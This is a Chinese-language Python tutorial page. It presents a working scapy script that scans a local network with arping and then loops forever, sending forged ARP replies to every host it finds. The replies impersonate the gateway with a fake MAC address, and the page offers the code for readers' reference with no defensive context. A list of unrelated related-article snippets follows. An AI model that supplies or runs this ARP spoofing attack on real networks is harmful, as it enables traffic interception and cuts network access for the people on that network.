python使用arp欺骗伪造网关的方法

yipeiwu_com5年前Python基础

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

相关文章

python实时获取外部程序输出结果的方法

如下所示: s=subprocess.Popen("ping baidu.com -t",bufsize=0,stdout=subprocess.PIPE,universal_new...

Python中时间datetime的处理与转换用法总结

python中日期类datetime功能比较强大,使用起来很方便,把常用的两种用法总结如下: from datetime import datetime from datetime...

安装Python的web.py框架并从hello world开始编程

最近有一个小的web项目,想用喜爱都python,但是想到之前接触过都django我感觉一阵不寒而栗,为什么?Django的配置太过复杂,而且小项目不太适合MVC的开发模式,所以...

python处理RSTP视频流过程解析

这篇文章主要介绍了python处理RSTP视频流过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 python链接海康摄像头,并...

python如何制作缩略图

python如何制作缩略图

本文实例为大家分享了python制作缩略图的具体代码,供大家参考,具体内容如下 import cv2 #导入opencv模块 from tkinter import * #导入tki...